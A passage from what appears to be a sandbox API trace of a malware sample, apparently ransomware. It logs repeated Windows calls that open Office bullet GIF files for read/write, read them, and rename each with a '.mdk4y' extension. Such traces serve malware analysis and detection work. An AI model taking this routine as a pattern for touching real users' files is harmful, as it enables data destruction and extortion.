lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21366_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.659] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21366_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21366_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.660] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825889000000) returned 1 [0183.660] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xc8, lpOverlapped=0x0) returned 1 [0183.661] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825889100000) returned 1 [0183.661] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825889100000) returned 1 [0183.661] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21366_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21366_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21366_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21366_.gif.mdk4y")) returned 1 [0183.662] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.662] AreFileApisANSI () returned 1 [0183.662] GetACP () returned 0x4e4 [0183.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21375_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21375_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.662] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21375_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21375_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.663] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825889300000) returned 1 [0183.663] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xd4, lpOverlapped=0x0) returned 1 [0183.664] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825889400000) returned 1 [0183.664] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825889400000) returned 1 [0183.664] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21375_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21375_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21375_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21375_.gif.mdk4y")) returned 1 [0183.664] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.664] AreFileApisANSI () returned 1 [0183.664] GetACP () returned 0x4e4 [0183.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21376_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21376_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.665] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21376_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21376_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.665] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825889500000) returned 1 [0183.665] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb4, lpOverlapped=0x0) returned 1 [0183.666] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825889600000) returned 1 [0183.666] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825889600000) returned 1 [0183.666] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21376_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21376_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21376_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21376_.gif.mdk4y")) returned 1 [0183.667] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.667] AreFileApisANSI () returned 1 [0183.667] GetACP () returned 0x4e4 [0183.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21377_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21377_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.667] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21377_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21377_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.669] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825889800000) returned 1 [0183.669] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xaf, lpOverlapped=0x0) returned 1 [0183.669] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825889900000) returned 1 [0183.669] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825889900000) returned 1 [0183.670] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21377_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21377_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21377_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21377_.gif.mdk4y")) returned 1 [0183.670] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.670] AreFileApisANSI () returned 1 [0183.670] GetACP () returned 0x4e4 [0183.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21398_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21398_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.670] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21398_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21398_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.671] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825890100000) returned 1 [0183.671] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x146, lpOverlapped=0x0) returned 1 [0183.672] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825890200000) returned 1 [0183.672] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825890200000) returned 1 [0183.672] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21398_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21398_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21398_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21398_.gif.mdk4y")) returned 1 [0183.672] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.672] AreFileApisANSI () returned 1 [0183.672] GetACP () returned 0x4e4 [0183.672] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21399_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21399_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.672] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21399_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21399_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.673] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825890300000) returned 1 [0183.673] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x102, lpOverlapped=0x0) returned 1 [0183.674] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825890400000) returned 1 [0183.674] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825890400000) returned 1 [0183.674] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21399_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21399_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21399_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21399_.gif.mdk4y")) returned 1 [0183.674] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.674] AreFileApisANSI () returned 1 [0183.674] GetACP () returned 0x4e4 [0183.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21400_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21400_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.675] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21400_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21400_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.675] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825890500000) returned 1 [0183.676] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xe9, lpOverlapped=0x0) returned 1 [0183.676] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825890600000) returned 1 [0183.676] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825890600000) returned 1 [0183.677] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21400_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21400_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21400_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21400_.gif.mdk4y")) returned 1 [0183.677] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.678] AreFileApisANSI () returned 1 [0183.678] GetACP () returned 0x4e4 [0183.678] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21421_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21421_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.678] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21421_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21421_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.678] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825890800000) returned 1 [0183.678] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x11f, lpOverlapped=0x0) returned 1 [0183.679] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825890900000) returned 1 [0183.679] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825890900000) returned 1 [0183.679] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21421_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21421_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21421_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21421_.gif.mdk4y")) returned 1 [0183.680] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.680] AreFileApisANSI () returned 1 [0183.680] GetACP () returned 0x4e4 [0183.680] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21422_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21422_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.680] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21422_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21422_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.680] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825891000000) returned 1 [0183.681] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x101, lpOverlapped=0x0) returned 1 [0183.681] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825891100000) returned 1 [0183.681] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825891100000) returned 1 [0183.682] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21422_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21422_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21422_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21422_.gif.mdk4y")) returned 1 [0183.682] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.682] AreFileApisANSI () returned 1 [0183.682] GetACP () returned 0x4e4 [0183.682] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21423_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21423_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.683] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21423_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21423_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.684] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825891400000) returned 1 [0183.684] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xe9, lpOverlapped=0x0) returned 1 [0183.684] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825891400000) returned 1 [0183.685] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825891400000) returned 1 [0183.685] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21423_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21423_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21423_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21423_.gif.mdk4y")) returned 1 [0183.685] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.686] AreFileApisANSI () returned 1 [0183.686] GetACP () returned 0x4e4 [0183.686] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21433_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21433_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.686] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21433_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21433_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.686] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825891600000) returned 1 [0183.686] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb9, lpOverlapped=0x0) returned 1 [0183.687] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825891700000) returned 1 [0183.687] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825891700000) returned 1 [0183.687] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21433_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21433_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21433_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21433_.gif.mdk4y")) returned 1 [0183.688] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.688] AreFileApisANSI () returned 1 [0183.688] GetACP () returned 0x4e4 [0183.688] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21434_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21434_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.688] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21434_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21434_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.688] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825891800000) returned 1 [0183.688] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb1, lpOverlapped=0x0) returned 1 [0183.689] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825891900000) returned 1 [0183.689] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825891900000) returned 1 [0183.689] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21434_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21434_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21434_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21434_.gif.mdk4y")) returned 1 [0183.690] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.690] AreFileApisANSI () returned 1 [0183.690] GetACP () returned 0x4e4 [0183.690] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21435_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21435_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.691] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21435_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21435_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.693] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825892300000) returned 1 [0183.693] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xad, lpOverlapped=0x0) returned 1 [0183.694] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825892400000) returned 1 [0183.694] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825892400000) returned 1 [0183.694] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21435_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21435_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21435_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21435_.gif.mdk4y")) returned 1 [0183.695] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.695] AreFileApisANSI () returned 1 [0183.695] GetACP () returned 0x4e4 [0183.695] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21480_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21480_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.695] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21480_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21480_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.695] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825892500000) returned 1 [0183.695] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x14e, lpOverlapped=0x0) returned 1 [0183.696] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825892600000) returned 1 [0183.696] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825892600000) returned 1 [0183.696] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21480_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21480_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21480_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21480_.gif.mdk4y")) returned 1 [0183.697] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.697] AreFileApisANSI () returned 1 [0183.697] GetACP () returned 0x4e4 [0183.697] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21481_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, 